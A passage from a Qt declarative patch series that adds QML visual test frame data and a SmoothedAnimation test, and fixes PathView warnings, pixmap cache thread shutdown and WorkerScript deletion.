"80b4e99f1b47e64084e295a2a3e1121e" + } + Frame { + msec: 3040 + hash: "41d6307075ec9ae9e92d227921f71289" + } + Frame { + msec: 3056 + hash: "f33de23cf4a5c4881310c6866261d387" + } + Frame { + msec: 3072 + hash: "441faa0a1fc95d66b27479dfc1e40188" + } + Frame { + msec: 3088 + hash: "2314b5f6ba3864abd5e87bc87bd621b0" + } + Frame { + msec: 3104 + hash: "e71e3b0ad953258ceef3101e38283fdb" + } + Frame { + msec: 3120 + hash: "890c3b0e727f136bf1ccc486531c9677" + } + Frame { + msec: 3136 + hash: "2a0d23e6dcc6475c323dbf8eb36e8094" + } + Frame { + msec: 3152 + hash: "692682e82347936f87a66484b428e959" + } + Frame { + msec: 3168 + hash: "cf4005c08789762ad21be1a1d78755c9" + } + Frame { + msec: 3184 + hash: "566184563091626bb20ae679e3ce3b91" + } + Frame { + msec: 3200 + hash: "f88a24ad3bbc2699924bb9a7ff6490b3" + } + Frame { + msec: 3216 + hash: "23f3f63d07b2bdc2b82ff4e8606a634d" + } + Frame { + msec: 3232 + hash: "fe121c71ce469ec6f0bf957eb2f0447b" + } + Frame { + msec: 3248 + hash: "ba217690a33c701afe11842aa8105cbb" + } + Frame { + msec: 3264 + hash: "e5c7c1323108f13ba26f5198cc62c137" + } + Frame { + msec: 3280 + hash: "664f76d3d0008b56be2790c470befc91" + } + Frame { + msec: 3296 + hash: "b3f54070ba64b983ccd2a15941ef4c35" + } + Frame { + msec: 3312 + hash: "8a0ba2ae36ad3811778f3a3bc55743f5" + } + Frame { + msec: 3328 + hash: "bfdc71733ca45a2ba2e8abf751554a62" + } + Frame { + msec: 3344 + hash: "686e4d7bb5ae148d37fc2a1f6004a33a" + } + Frame { + msec: 3360 + hash: "29c553d9fe42fdbbd019d0ead61dffa0" + } + Frame { + msec: 3376 + hash: "bfa2b72c6554a2ed80a3b86f2cbed986" + } + Frame { + msec: 3392 + hash: "074ff90417a947f0a04926d5675d073b" + } + Frame { + msec: 3408 + hash: "6f56f9e0aa40149156ca71d6f8d4476a" + } + Frame { + msec: 3424 + hash: "950ce749bbf572021de2dd1688cb87e6" + } + Frame { + msec: 3440 + hash: "2d0903bd71862dc6f28bd702d955ae99" + } + Frame { + msec: 3456 + hash: "2733adae56728f1b744a4086ecb98052" + } + Frame { + msec: 3472 + hash: "779859d739e799bba15beeb97d18e682" + } + Frame { + msec: 3488 + hash: "9074386cfabe136b8839637e5cd58f57" + } + Frame { + msec: 3504 + hash: "fa5bcbf20c6ad0a218f23d98961229a1" + } + Frame { + msec: 3520 + hash: "5406c94da1717eaa5eb0010564216059" + } + Frame { + msec: 3536 + hash: "27d0a3c3a33c04df843bebd72ef79824" + } + Frame { + msec: 3552 + hash: "270df9c99c2679071b854b3d82337f79" + } + Frame { + msec: 3568 + hash: "5b3945505443a67e7a91f66fe42b4fe3" + } + Frame { + msec: 3584 + hash: "9a2f8565c354cb366725368ed323ccf4" + } + Frame { + msec: 3600 + hash: "6702cb7ccd61c008b511932d7bd5d107" + } + Frame { + msec: 3616 + hash: "f6b86c3a1cc88357f588b6dae11aae30" + } + Frame { + msec: 3632 + hash: "b10c23937f420db72af8abaf126f71c2" + } + Frame { + msec: 3648 + hash: "7d6b0810ffc6e488c8168e19bccb7358" + } + Frame { + msec: 3664 + hash: "c01ef69ec46391909619434e9d9dd0ce" + } + Frame { + msec: 3680 + hash: "a046464fccb0c5ba1f63f8b569821a44" + } + Frame { + msec: 3696 + hash: "8763c526924d882438f9aa9bfb4fe87d" + } + Frame { + msec: 3712 + hash: "dede7a62d6e5c10e8f30caa075bd8dfd" + } + Frame { + msec: 3728 + hash: "3b408e5c986f5bb01d8c3949876b792f" + } + Frame { + msec: 3744 + hash: "0a458f3b17cdd3ea85522779c9346af9" + } + Frame { + msec: 3760 + hash: "fef521f0301cce90af88d37e6d441ec8" + } + Frame { + msec: 3776 + hash: "3d083e0822242b3b37c6839ca91a1f68" + } + Frame { + msec: 3792 + hash: "f8fe013a717e6e61830137bdc78a8b40" + } + Frame { + msec: 3808 + hash: "0ae80ad65dd194043500fa50b5a547a6" + } + Frame { + msec: 3824 + hash: "a53c67fa32ef971eaea202fa5d8a6ad6" + } + Frame { + msec: 3840 + image: "easefollow.3.png" + } + Frame { + msec: 3856 + hash: "41f86bbf0658b127f01e8d46d7ec941b" + } + Frame { + msec: 3872 + hash: "d20f21df127565f9eb87c5d759a638d9" + } + Frame { + msec: 3888 + hash: "85ff94f03cea3e111807e90d062c1367" + } + Frame { + msec: 3904 + hash: "aa637850fe5f05a71ac4c7d31dbb36ee" + } + Frame { + msec: 3920 + hash: "c86a67096c5e62bb73b785cdf6a5b6b1" + } + Frame { + msec: 3936 + hash: "9d53537f2c50a0016bf7bb522b2ec3d8" + } + Frame { + msec: 3952 + hash: "b48630c27c27785ddce568a85d4dc58f" + } + Frame { + msec: 3968 + hash: "01c1bdb6e261cc509f26712b13eeb554" + } + Frame { + msec: 3984 + hash: "af8a44284695fd999acd5944434f0372" + } + Frame { + msec: 4000 + hash: "b156d9d6d5163f007ac4a309d8927ae9" + } + Frame { + msec: 4016 + hash: "2df3715416c3c005f04b66fe1258c0d8" + } + Frame { + msec: 4032 + hash: "96b4a7c6b8542b50fc345b54d38ec82a" + } + Frame { + msec: 4048 + hash: "7e62e757fafa06833444c3a7e1d96ce4" + } + Frame { + msec: 4064 + hash: "5222a8f9366c7d974d0687d05d229069" + } + Frame { + msec: 4080 + hash: "ec96169f4633c3bddfd582feeb8e9ad4" + } + Frame { + msec: 4096 + hash: "cb10db893d1e1cb2a370507dc5679985" + } + Frame { + msec: 4112 + hash: "d7e346c2ac77796bde639bd829b72e85" + } + Frame { + msec: 4128 + hash: "ba5bea8857e4fb444bedd3873563e7db" + } + Frame { + msec: 4144 + hash: "05556fba5d1714f70fd6c2bfb43d213b" + } + Frame { + msec: 4160 + hash: "aeeabf35f9759f045a670a9b9f90dc68" + } + Frame { + msec: 4176 + hash: "131bd453f4c7726e5fdd546252700e2e" + } + Frame { + msec: 4192 + hash: "7c5c3b5bb7a4082e6b9b43640e29f4e2" + } + Frame { + msec: 4208 + hash: "07515e21b7a7895f333e4a8bbd2202eb" + } + Frame { + msec: 4224 + hash: "6cf136f223ac6edd39ba6ed9b4445884" + } + Frame { + msec: 4240 + hash: "84264f5745add8a922101735ed8def84" + } + Frame { + msec: 4256 + hash: "660863d1e4b361f2e5445b417be0d2ad" + } + Frame { + msec: 4272 + hash: "7ceb86f4b16546370d72164d0ca3147c" + } + Frame { + msec: 4288 + hash: "a13e97da9722545ad87ac3c5eb92c497" + } + Frame { + msec: 4304 + hash: "5896b5307cbd609d2062d3607786d40c" + } + Frame { + msec: 4320 + hash: "c8c511115394116e4544c67f615ea5d5" + } + Frame { + msec: 4336 + hash: "59ca5fdf12a735e5c292901b54acccb2" + } + Frame { + msec: 4352 + hash: "155cce2738d34e0eac86f5eb63d638f0" + } + Frame { + msec: 4368 + hash: "83a840c3ae7dbd9a05c17fdd8be07d7a" + } + Frame { + msec: 4384 + hash: "800a15de28b14d88f0ad58fc3f4a2520" + } + Frame { + msec: 4400 + hash: "c8381439a3cd3f9e7f80061023723a6e" + } + Frame { + msec: 4416 + hash: "e3d63000db4b9458b202dece49d1bdba" + } + Frame { + msec: 4432 + hash: "c943e56781695798f3c221f8ab09681a" + } + Frame { + msec: 4448 + hash: "1137ee66d7fbf5a84c33f5ffff15b3dd" + } + Frame { + msec: 4464 + hash: "5a98013cc4462aad18cad8d941f77aa0" + } + Frame { + msec: 4480 + hash: "d0b3748fb49a13c0ad9a68b0e2914921" + } + Frame { + msec: 4496 + hash: "12113f71f9117670acbd7877edded7e0" + } + Frame { + msec: 4512 + hash: "22983424da08cdae7a9c6a8905b37736" + } + Frame { + msec: 4528 + hash: "b2db5618a025cefb2650124c81880c49" + } + Frame { + msec: 4544 + hash: "84fb5e7edc5b42163a83e0cd362b3a46" + } + Frame { + msec: 4560 + hash: "39d6f1ed0f60a0c366c22e1442c455ac" + } + Frame { + msec: 4576 + hash: "702367f6e4aaa2a862e57f9e02a08758" + } + Frame { + msec: 4592 + hash: "ecc75293bc156c560d55cb7d278a4e58" + } + Frame { + msec: 4608 + hash: "e68af8e97ce65376fd7904e599440c92" + } + Frame { + msec: 4624 + hash: "75fe9f766d6cf636cd72d8879a461439" + } + Frame { + msec: 4640 + hash: "162aef147ef4bbb0cd92bd70e4f37f62" + } + Frame { + msec: 4656 + hash: "d879aae8949976c7bad4d97f1e5b5549" + } + Frame { + msec: 4672 + hash: "8a983d7228190721f988de2d72cb3aa2" + } + Frame { + msec: 4688 + hash: "a4f3c63fde664d128cd35b129a4f9a23" + } + Frame { + msec: 4704 + hash: "115fb5f3c9b7f1c28ab379596faba91c" + } + Frame { + msec: 4720 + hash: "ea9600c4d6c77a3b32e59401aa84fe96" + } + Frame { + msec: 4736 + hash: "bd6531fdd9cfd46af2df73bacb31f4c5" + } + Frame { + msec: 4752 + hash: "33bdcf1df50eab5e7963c649fbd32226" + } + Frame { + msec: 4768 + hash: "236e88fb72369a55f9eba4b50712ae85" + } + Frame { + msec: 4784 + hash: "5eb3c14a6296fb3a1c58603b2fc937c8" + } + Frame { + msec: 4800 + image: "easefollow.4.png" + } + Frame { + msec: 4816 + hash: "31d11a1ce6422524241c77603fe53e61" + } + Frame { + msec: 4832 + hash: "44e8b9947026c10b922c84883dd8e889" + } + Frame { + msec: 4848 + hash: "d049e4f7c4bc1849398859a4d630c1b3" + } + Frame { + msec: 4864 + hash: "e83b4757898e4eeef74be8213619fbfa" + } + Frame { + msec: 4880 + hash: "d08f40615f2d5abc6236e856a67575dd" + } + Frame { + msec: 4896 + hash: "d9cb26bf1b8bbafb2aed8f74bd454077" + } + Frame { + msec: 4912 + hash: "aa321b94a6cc53b2ebac80e834c0a908" + } + Frame { + msec: 4928 + hash: "48da37164be156b67a4b3b14e50f2375" + } + Frame { + msec: 4944 + hash: "f522ce7728a4a9e7fad86c72f29bd8f9" + } + Frame { + msec: 4960 + hash: "9bc1d16b4bda596702a3d8a3fad8a5c5" + } + Frame { + msec: 4976 + hash: "5275dccf18745dec6c59b846de17d9ef" + } + Frame { + msec: 4992 + hash: "4eb6babc177b96f69b148d52f56d82d7" + } + Frame { + msec: 5008 + hash: "ccdfb454070ac04c4fe4f3513c52f8c8" + } + Frame { + msec: 5024 + hash: "07f6adad6e8ff4f0eff92c758636a951" + } + Frame { + msec: 5040 + hash: "241e0ad9218d49be477509e008e45548" + } + Frame { + msec: 5056 + hash: "151a482e821779da8a61063f1cc73f8c" + } + Frame { + msec: 5072 + hash: "1499d207c5a3a9bc7bbb84d9c5e35578" + } + Frame { + msec: 5088 + hash: "c253753f653157a5058ef071f16b8bbb" + } + Frame { + msec: 5104 + hash: "ec9fea5a870724a106b952edef7fb466" + } + Frame { + msec: 5120 + hash: "99b673f8ed049d31a2aecabcc46d841d" + } + Frame { + msec: 5136 + hash: "61e77fea693ea55aafbdc94c40c3ab33" + } + Frame { + msec: 5152 + hash: "53e44a3732ee6858d5bd596b4c5d5305" + } + Frame { + msec: 5168 + hash: "5b25d3894a56dc4f4a0aa8f88cb69e23" + } + Frame { + msec: 5184 + hash: "5683ad02f1b9126f4e4ff6b03044fdc6" + } + Frame { + msec: 5200 + hash: "0a3ec255575ec1b70e0b10cf59c7c5fd" + } + Frame { + msec: 5216 + hash: "0f5f46fe3fdf42d4651891f13c8afc7e" + } + Frame { + msec: 5232 + hash: "b6955407245c73e356a460d99dad77be" + } + Frame { + msec: 5248 + hash: "6018b53414921943b37c33fa04a29697" + } + Frame { + msec: 5264 + hash: "ff184d349ce0b648f8c1fce91ae997f6" + } + Frame { + msec: 5280 + hash: "9c112a3a785d970593887eeab72fa7fe" + } + Frame { + msec: 5296 + hash: "00384fb20d4c6cd6236d519d2d734cc3" + } + Frame { + msec: 5312 + hash: "601ea99400e5f50ee9a5a4b74b6f3017" + } + Frame { + msec: 5328 + hash: "9afed04bf7eca24d9b6d31ac84ae59c2" + } + Frame { + msec: 5344 + hash: "1983319c8043bfe403513af7ccb5b924" + } + Frame { + msec: 5360 + hash: "b0244e4e1b61202ede78405415c22bca" + } + Frame { + msec: 5376 + hash: "ec5516b1aaeace8784b04649c51ab40b" + } + Frame { + msec: 5392 + hash: "8ff7d2001594abb588f769bab15406d7" + } + Frame { + msec: 5408 + hash: "64d5fd96a1726aa5276f9b508566676f" + } + Frame { + msec: 5424 + hash: "ab49497a6c825038354f076bdbbbc235" + } + Frame { + msec: 5440 + hash: "6b821e43be932800b20af58a7b5a1ff7" + } + Frame { + msec: 5456 + hash: "683a2902300f930e2a81a82dc37c583b" + } + Frame { + msec: 5472 + hash: "86d7946d7fbb66369ccbf26430939225" + } + Frame { + msec: 5488 + hash: "fb38f5fb6555fc14e95a47c595a6ea0c" + } + Frame { + msec: 5504 + hash: "3878f685d9fa3299e9ffe78c22595387" + } + Frame { + msec: 5520 + hash: "b48840a68ff007901b02332c7177f315" + } + Frame { + msec: 5536 + hash: "9d847abc99220b04aceef12e5c09aac0" + } + Frame { + msec: 5552 + hash: "9893ac89fda64d96ec4140c3c87e17a5" + } + Frame { + msec: 5568 + hash: "cd94e1c36e6be9877cd9c12df42bd968" + } + Frame { + msec: 5584 + hash: "c1ce5e53b74af022dc103ad74ff5f1af" + } + Frame { + msec: 5600 + hash: "b3630e08eac02a9578a00b01baabaaba" + } + Frame { + msec: 5616 + hash: "0eb9241aa1f9526c1e24ba76d630805c" + } + Frame { + msec: 5632 + hash: "1b532ae7f9253469467522d4ca66c47b" + } + Frame { + msec: 5648 + hash: "7e6e49079ed6330da2e337a5e4ffd730" + } + Frame { + msec: 5664 + hash: "0391d668f4b906b244a5f5c1713573c2" + } + Frame { + msec: 5680 + hash: "8070fa3280d0d64bf976d4a276359c4c" + } + Frame { + msec: 5696 + hash: "f7d0d36a2d40c798f56ac7ecc1effca6" + } + Frame { + msec: 5712 + hash: "9f8e35ee5080e811c670c480a9c2bd9f" + } + Frame { + msec: 5728 + hash: "c7fea75a43a59a11aa504df32afcdaf8" + } + Frame { + msec: 5744 + hash: "7e549a93ffc6ddcc3d8111f10c05b29e" + } + Frame { + msec: 5760 + image: "easefollow.5.png" + } + Frame { + msec: 5776 + hash: "92d298262f610a2dafa095e3d67c80af" + } + Frame { + msec: 5792 + hash: "db8826b0b2feece0999863b8827a6234" + } + Frame { + msec: 5808 + hash: "12c7050e8094bb39212aed0163666d1a" + } + Frame { + msec: 5824 + hash: "69531beace5c749bf90160a4b25f736a" + } + Frame { + msec: 5840 + hash: "ce873e4dbc8853183b54d59991b2e030" + } + Frame { + msec: 5856 + hash: "fa1078973634578d69527402b11fb7e0" + } + Frame { + msec: 5872 + hash: "1e3b3db590567c0afd1913101192cda9" + } + Frame { + msec: 5888 + hash: "7b9e097018278b784973a546da3d401a" + } + Frame { + msec: 5904 + hash: "a7b0667093888480de6697280aeea9ba" + } + Frame { + msec: 5920 + hash: "e381f2422ead86575abf643b0b0c9797" + } + Frame { + msec: 5936 + hash: "44b08f5a0de2a6955e02f67753f409c8" + } + Frame { + msec: 5952 + hash: "db04665e58448ecc7f95baa3e4ea79a5" + } + Frame { + msec: 5968 + hash: "0e4aae728d8d543538a9446c41e18e91" + } + Frame { + msec: 5984 + hash: "e3cd1bbb1d9963e5c74d36e526a871b0" + } + Frame { + msec: 6000 + hash: "bcd893a0e200ddda4e1468c159018865" + } + Frame { + msec: 6016 + hash: "9c5293356aa6312f909e655e9bcf961b" + } + Frame { + msec: 6032 + hash: "0bab7b9166f6af554d4fa0badeec739e" + } + Frame { + msec: 6048 + hash: "e74996581f0aaeced118c5cbfd977d90" + } + Frame { + msec: 6064 + hash: "5d128eb20a2a23da8c2d9a35293e5769" + } + Frame { + msec: 6080 + hash: "ebbbc343698287faf7ffa7526a726b54" + } + Frame { + msec: 6096 + hash: "d812172192cc19590f9a2d7dbf970439" + } + Frame { + msec: 6112 + hash: "60263addb1b4b5ac43f8199b8ed77e40" + } + Frame { + msec: 6128 + hash: "702a1ff2876eaaa59359811bb6437c5b" + } + Frame { + msec: 6144 + hash: "8f81dc43decce5094ee7a089f0009730" + } + Frame { + msec: 6160 + hash: "efda5dd9edd83a0da089d0b28806c6b6" + } + Frame { + msec: 6176 + hash: "7274a33a7a5272d7abdaf41f4b2bf664" + } + Frame { + msec: 6192 + hash: "0cc80077476e721a3da85c17cc56a65e" + } + Frame { + msec: 6208 + hash: "e65a534f0e7e70520a9c2cfa09ee8159" + } + Frame { + msec: 6224 + hash: "b05b514c63bd8998785382e6a9cbd849" + } + Frame { + msec: 6240 + hash: "10a04d641e0cc65c120d8bcf2f3e54c8" + } + Frame { + msec: 6256 + hash: "68418e2206a496dd15a05b50fec6f87e" + } + Frame { + msec: 6272 + hash: "6549e0989e1c86e3a7eb0dcc8dd31380" + } + Frame { + msec: 6288 + hash: "bd0193c2cbc8958f674f4ec52a693b72" + } + Frame { + msec: 6304 + hash: "746440b45a3688dbd32b34c57454e956" + } + Frame { + msec: 6320 + hash: "6b54ee8af30be2178e8b3afab5dcb4c7" + } + Frame { + msec: 6336 + hash: "ba2fbad3fe2fe25ec0c0c542659168dc" + } + Frame { + msec: 6352 + hash: "84bd72703bd8200f8f090783d06ae451" + } + Frame { + msec: 6368 + hash: "17c9fb063280c2ee4cb4a13273bbb199" + } + Frame { + msec: 6384 + hash: "df28fd55719f5c2d164596d02c2faff2" + } + Frame { + msec: 6400 + hash: "c2e280e78e892200d40022d17ce695b7" + } + Frame { + msec: 6416 + hash: "c657caa0c5158e178ec5df80bbad6bcb" + } + Frame { + msec: 6432 + hash: "d91f4f6ec6503fe8280f9b02dd11e64a" + } + Frame { + msec: 6448 + hash: "0fb9400cdca9dbd4035fbf8af9952360" + } + Frame { + msec: 6464 + hash: "cac0e1b4aa094306b95f90ede4705391" + } + Frame { + msec: 6480 + hash: "e60a4bb14300a937a767effee931c60f" + } + Frame { + msec: 6496 + hash: "8b461397e3f210ee7e9305dcab2af2db" + } + Frame { + msec: 6512 + hash: "6ce9ec0942dd06c9f73929a7e176852c" + } + Frame { + msec: 6528 + hash: "da36e254635eea854a6552ba008117f9" + } + Frame { + msec: 6544 + hash: "0bec6402b5eb09d05ce8e9ff5253ea8d" + } + Frame { + msec: 6560 + hash: "72f6610527d395ca590eda166ef6bc4e" + } + Frame { + msec: 6576 + hash: "622ae3fd47adb2432e2a40d3c5539393" + } + Frame { + msec: 6592 + hash: "0b18c49e2bbf9370216e06b555faf183" + } + Frame { + msec: 6608 + hash: "0c090bb975fb883301b52479fd6f5fdf" + } + Frame { + msec: 6624 + hash: "c4205d7ecb7327426d9591e77247acab" + } + Frame { + msec: 6640 + hash: "f0e0075243e4b8aa97056248fe6033ed" + } + Frame { + msec: 6656 + hash: "47f99b40a8764ee9d9e429061fb7acb2" + } + Frame { + msec: 6672 + hash: "49e8c1e974b0716570d85109b53817a5" + } + Frame { + msec: 6688 + hash: "72f981bad831b6ed858009527902f734" + } + Frame { + msec: 6704 + hash: "e959a0493b06369a429f90f66cb65977" + } + Frame { + msec: 6720 + image: "easefollow.6.png" + } + Frame { + msec: 6736 + hash: "93470d983282f24425558f47ad705154" + } + Frame { + msec: 6752 + hash: "cdccbe1a7c7abd4a6a6ee754ed0c9759" + } + Frame { + msec: 6768 + hash: "0e1b7b5332a9fcdb492db5314a2a0267" + } + Frame { + msec: 6784 + hash: "1e1ffe3439aab51d0b325474e7d8dc28" + } + Frame { + msec: 6800 + hash: "e8e7e9b5871caf77f15678616d6c9c8a" + } + Frame { + msec: 6816 + hash: "9771fff3b7752154d093c038bea73d28" + } + Frame { + msec: 6832 + hash: "1af851ea214cbddb0e3a743084a5cf6b" + } + Frame { + msec: 6848 + hash: "1566182a7e29bbb738705a90c4909617" + } + Frame { + msec: 6864 + hash: "feed650e1d948fe622234d212fb745f2" + } + Frame { + msec: 6880 + hash: "3cd3d063275b91f9680717421c118ba4" + } + Frame { + msec: 6896 + hash: "c1f088801334762cd499e7cc70e1e59a" + } + Frame { + msec: 6912 + hash: "e8f8d153e7a027a5092a9209411d97f7" + } + Frame { + msec: 6928 + hash: "f11747c3533b4b2fc77a64ca0cace8b0" + } + Frame { + msec: 6944 + hash: "21618c67a2a8bbce86fc872060ad40e8" + } + Frame { + msec: 6960 + hash: "02da96335db74b87ceefe91b1dfe72e6" + } + Frame { + msec: 6976 + hash: "2b2e4143143ead8dea5865fd782f1775" + } + Frame { + msec: 6992 + hash: "13e710900b05e26cdb030b1e2b2be715" + } + Frame { + msec: 7008 + hash: "29e8995d17aac4d02034debcbb9fcb98" + } + Frame { + msec: 7024 + hash: "1099db1b3e4c69e84c6ab1b7c311bf1e" + } + Frame { + msec: 7040 + hash: "cc7cb720043334f1eeb385dce4389dc2" + } + Frame { + msec: 7056 + hash: "34c7a62c1bc7261e2fd31c40068b37a7" + } + Frame { + msec: 7072 + hash: "7fafbe05cbcaa21893e3aa0f1fcfb5a0" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 7088 + hash: "5b26c8cf047706633795a8ed3e703a89" + } + Frame { + msec: 7104 + hash: "e0774bf9e74d0cde81c5cb216a9258fc" + } + Frame { + msec: 7120 + hash: "0870262f643245e13f4fba79fd575897" + } + Frame { + msec: 7136 + hash: "8faf0d050bb435ade8af5012c1a6b0dc" + } + Frame { + msec: 7152 + hash: "382c037895cc39a6870db57b5016c01f" + } + Frame { + msec: 7168 + hash: "f1f5a2cbc103ab1bee9f537fa8266e03" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/smoothedanimation.qml b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/smoothedanimation.qml new file mode 100644 index 0000000..ee94857 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/smoothedanimation.qml @@ -0,0 +1,45 @@ +import Qt 4.6 + +Rectangle { + width: 800; height: 240; color: "gray" + + Rectangle { + id: rect + width: 50; height: 20; y: 30; color: "black" + SequentialAnimation on x { + loops: Animation.Infinite + NumberAnimation { from: 50; to: 700; duration: 2000 } + NumberAnimation { from: 700; to: 50; duration: 2000 } + } + } + + Rectangle { + width: 50; height: 20; y: 60; color: "red" + x: rect.x + Behavior on x { SmoothedAnimation { velocity: 400 } } + } + + Rectangle { + width: 50; height: 20; y: 90; color: "yellow" + x: rect.x + Behavior on x { SmoothedAnimation { velocity: 300; reversingMode: SmoothedAnimation.Immediate } } + } + + Rectangle { + width: 50; height: 20; y: 120; color: "green" + x: rect.x + Behavior on x { SmoothedAnimation { reversingMode: SmoothedAnimation.Sync } } + } + + Rectangle { + width: 50; height: 20; y: 150; color: "purple" + x: rect.x + Behavior on x { SmoothedAnimation { maximumEasingTime: 200 } } + } + + Rectangle { + width: 50; height: 20; y: 180; color: "blue" + x: rect.x + Behavior on x { SmoothedAnimation { duration: 300 } } + } +} -- cgit v0.12 From 444c52937410a0581a8bb93c9bee2245a84fe24c Mon Sep 17 00:00:00 2001 From: Leonardo Sobral Cunha Date: Mon, 29 Mar 2010 15:44:09 +1000 Subject: Fixes PathView compile warnings --- src/declarative/graphicsitems/qdeclarativepathview.cpp | 2 +- src/declarative/graphicsitems/qdeclarativepathview_p_p.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativepathview.cpp b/src/declarative/graphicsitems/qdeclarativepathview.cpp index c2cfbb1..71f85ae 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview.cpp +++ b/src/declarative/graphicsitems/qdeclarativepathview.cpp @@ -1193,7 +1193,7 @@ void QDeclarativePathView::itemsRemoved(int modelIndex, int count) emit countChanged(); } -void QDeclarativePathView::itemsMoved(int from, int to, int count) +void QDeclarativePathView::itemsMoved(int /*from*/, int /*to*/, int /*count*/) { Q_D(QDeclarativePathView); if (!d->isValid() || !isComponentComplete()) diff --git a/src/declarative/graphicsitems/qdeclarativepathview_p_p.h b/src/declarative/graphicsitems/qdeclarativepathview_p_p.h index 26ec4e5..6470893 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativepathview_p_p.h @@ -79,9 +79,9 @@ public: , stealMouse(false), ownModel(false), interactive(true), haveHighlightRange(true) , autoHighlight(true), highlightUp(false), dragMargin(0), deceleration(100) , moveOffset(this, &QDeclarativePathViewPrivate::setOffset) - , moveHighlight(this, &QDeclarativePathViewPrivate::setHighlightPosition) , firstIndex(-1), pathItems(-1), requestedIndex(-1) , moveReason(Other), attType(0), highlightComponent(0), highlightItem(0) + , moveHighlight(this, &QDeclarativePathViewPrivate::setHighlightPosition) , highlightPosition(0) , highlightRangeStart(0), highlightRangeEnd(0) , highlightRangeMode(QDeclarativePathView::StrictlyEnforceRange) -- cgit v0.12 From 859304f5a8d9169a3f2f30e013d460b0e93c118f Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Tue, 30 Mar 2010 15:45:18 +1000 Subject: Make visual tests run on windows --- tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp b/tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp index 8f1a406..2794ab8 100644 --- a/tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp +++ b/tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp @@ -106,7 +106,6 @@ void tst_qmlvisual::visual_data() files << QT_TEST_SOURCE_DIR "/animation/reanchor/reanchor.qml"; } - foreach (const QString &file, files) { QString testdata = toTestScript(file); if (testdata.isEmpty()) @@ -141,6 +140,8 @@ QString tst_qmlvisual::toTestScript(const QString &file, Mode mode) int index = file.lastIndexOf(QDir::separator()); if (index == -1) + index = file.lastIndexOf('/'); + if (index == -1) return QString(); const char* platformsuffix=0; // platforms with different fonts -- cgit v0.12 From ff983ee8257b79143911ca58ebedc49b1660a0c4 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Tue, 30 Mar 2010 16:03:29 +1000 Subject: Make qmlpixmapcache thread shutdown cleaner Change to Thiago's method: QThread::quit() is *not* thread-safe, so we mustn't call it from outside the QThread that the QThread holds. Unlike other QObjects, this method and some others must not be called from the thread they have affinity to. So add a hack to call it in the auxiliary thread. Do that by connecting a dummy QObject's destroyed() signal to the quit() slot in a DirectConnection, then move the object to the thread. When we call deleteLater(), this will cause the thread's event loop to delete the object, which in turn calls quit() in the actual thread. Reviewed-by: Thiago Macieira --- src/declarative/util/qdeclarativepixmapcache.cpp | 18 ++++++------------ 1 file changed, 6 insertions(+), 12 deletions(-) diff --git a/src/declarative/util/qdeclarativepixmapcache.cpp b/src/declarative/util/qdeclarativepixmapcache.cpp index a9c30f8..1da929e 100644 --- a/src/declarative/util/qdeclarativepixmapcache.cpp +++ b/src/declarative/util/qdeclarativepixmapcache.cpp @@ -114,7 +114,7 @@ private: QList cancelled; QDeclarativeEngine *engine; QDeclarativeImageRequestHandler *handler; - QWaitCondition started; + QObject *eventLoopQuitHack; QMutex mutex; static QHash readers; @@ -370,6 +370,9 @@ void QDeclarativeImageRequestHandler::networkRequestDone() QDeclarativeImageReader::QDeclarativeImageReader(QDeclarativeEngine *eng) : QThread(eng), engine(eng), handler(0) { + eventLoopQuitHack = new QObject; + eventLoopQuitHack->moveToThread(this); + connect(eventLoopQuitHack, SIGNAL(destroyed(QObject*)), SLOT(quit()), Qt::DirectConnection); start(QThread::IdlePriority); } @@ -379,15 +382,8 @@ QDeclarativeImageReader::~QDeclarativeImageReader() readers.remove(engine); readerMutex.unlock(); - if (isRunning()) { - quit(); - while (!wait(100)) { - // It is possible to for the quit to happen before exec() - // Need to wait until the event loop starts so that we - // can stop it. Particularly likely with an idle thread. - quit(); - } - } + eventLoopQuitHack->deleteLater(); + wait(); } QDeclarativeImageReader *QDeclarativeImageReader::instance(QDeclarativeEngine *engine) @@ -396,7 +392,6 @@ QDeclarativeImageReader *QDeclarativeImageReader::instance(QDeclarativeEngine *e QDeclarativeImageReader *reader = readers.value(engine); if (!reader) { reader = new QDeclarativeImageReader(engine); - reader->started.wait(&readerMutex); readers.insert(engine, reader); } readerMutex.unlock(); @@ -433,7 +428,6 @@ void QDeclarativeImageReader::run() { readerMutex.lock(); handler = new QDeclarativeImageRequestHandler(this, engine); - started.wakeAll(); readerMutex.unlock(); exec(); -- cgit v0.12 From 2661be1bacdd83d1b3e6207c519c2699edfdc1d0 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Tue, 30 Mar 2010 15:25:01 +1000 Subject: WorkerScript was receiving events after deletion and trying to process these events. --- src/declarative/qml/qdeclarativeworkerscript.cpp | 6 +++++- .../qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp | 11 ++++------- 2 files changed, 9 insertions(+), 8 deletions(-) diff --git a/src/declarative/qml/qdeclarativeworkerscript.cpp b/src/declarative/qml/qdeclarativeworkerscript.cpp index a7ed358..628681f 100644 --- a/src/declarative/qml/qdeclarativeworkerscript.cpp +++ b/src/declarative/qml/qdeclarativeworkerscript.cpp @@ -437,8 +437,12 @@ QDeclarativeWorkerScriptEngine::QDeclarativeWorkerScriptEngine(QDeclarativeEngin QDeclarativeWorkerScriptEngine::~QDeclarativeWorkerScriptEngine() { + d->m_lock.lock(); qDeleteAll(d->workers); - delete d; d = 0; + d->workers.clear(); + d->m_lock.unlock(); + + d->deleteLater(); } QDeclarativeWorkerScriptEnginePrivate::WorkerScript::WorkerScript() diff --git a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp 